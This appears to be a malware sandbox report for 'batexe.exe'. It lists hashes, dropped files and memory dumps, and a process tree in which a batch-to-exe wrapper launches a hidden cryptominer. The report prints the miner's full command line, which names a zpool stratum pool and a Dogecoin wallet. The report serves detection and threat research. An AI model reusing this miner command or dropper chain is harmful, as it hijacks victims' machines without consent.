73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
296s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18-02-2024 13:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
5072	b2e.exe
2564	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2564	cpuminer-sse2.exe
2564	cpuminer-sse2.exe
2564	cpuminer-sse2.exe
2564	cpuminer-sse2.exe
2564	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2228-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2228 wrote to memory of 5072	2228	batexe.exe	75
PID 2228 wrote to memory of 5072	2228	batexe.exe	75
PID 2228 wrote to memory of 5072	2228	batexe.exe	75
PID 5072 wrote to memory of 4752	5072	b2e.exe	76
PID 5072 wrote to memory of 4752	5072	b2e.exe	76
PID 5072 wrote to memory of 4752	5072	b2e.exe	76
PID 4752 wrote to memory of 2564	4752	cmd.exe	79
PID 4752 wrote to memory of 2564	4752	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2228
- C:\Users\Admin\AppData\Local\Temp\8D4C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8D4C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8D4C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5072
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8F4F.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4752
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\8D4C.tmp\b2e.exe

Filesize
4.8MB

MD5
933d233637ececc5d2d45215e2169b8c

SHA1
617c4e9fe340ab59d2b37fb8f84f0a5f5f793a23

SHA256
9bacfe2b7f7144db844ab680fdac10ad18c139a8c8427f9bc25bed700d810274

SHA512
ad45fae1fda379e90c9177cf1a9a9dbae9f6700ccdb5e0087e9680d4f6a7bbf252a4382f97267473ad324fa9b170acb18e7da8e1ade8930f4801165756a943ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\8D4C.tmp\b2e.exe

Filesize
5.1MB

MD5
55fec44c93b811034d6f176b3e277d0d

SHA1
9b397b3e2329bfefcf7ec152fb631b6e6dc53b62

SHA256
057a9eb5c7e9caaf275a3855f3733c55eaa02fa569d5920b7c1b731945e85943

SHA512
fa3bcf842146da8bca7940acdbd8c1c64dc3ea28dc7266734191d031dc325aed34e681d77fb2fd6a523ed6ba62d3e251daa5f6dfd0eabf647216645ae5fabc9e

Download Submit
C:\Users\Admin\AppData\Local\Temp\8F4F.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.7MB

MD5
a8aeb2806dda42213013baf88020df6e

SHA1
2feb3ef128706735c6114a8a8490403bed9af705

SHA256
2feab974f5d9383b335e4badbcdfeb816e14f2129021008052ddb5f0cb8c7e71

SHA512
4c77aa11b6263e76c7d6b676cf76d7bab4f569b1b73e9a60851c5fd35fc56bfd5a22aecadc6f7f7dafeb4974c8685cfcc79ea10b646c123190f8defdc6ccbe8a

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
5c24ea31f2386df1c3ed24ff0333811b

SHA1
18241f1df9504f787e1595a00904e8e60e8af9c7

SHA256
cc19d5972bb8dc0ee579d3fa8286f405e5434719a0c95de822077cf5e2fe857b

SHA512
0ac07e5d28e3ed54e12638ee98e66ccb9445fb88b82f99d359b53231564f699b210fc89bc21102889330d548c67a14ac0b446f546af3c7d93b7a7234127996bd

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.1MB

MD5
0e329d426865f413beab48a335bd07ab

SHA1
08b4e1545a33b0cb661db5671602acdf6c8eccc0

SHA256
18e43f308b85ac27b21f1a6b6f282bc6df0aa8c611fac89725519a243a00d58b

SHA512
b9ef41803c81a3ebb8e0458f5c35096627dda86671c0928ba9aca2ce70f7d6fe139b41a167eaab94db9c616370353eaf87d7c01d4819489172ff0d2265b4bae1

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2228-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2564-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2564-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2564-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2564-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2564-43-0x0000000070100000-0x0000000070198000-memory.dmp

Filesize
608KB

Download
memory/2564-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2564-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2564-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2564-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2564-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2564-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2564-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2564-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2564-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5072-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5072-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download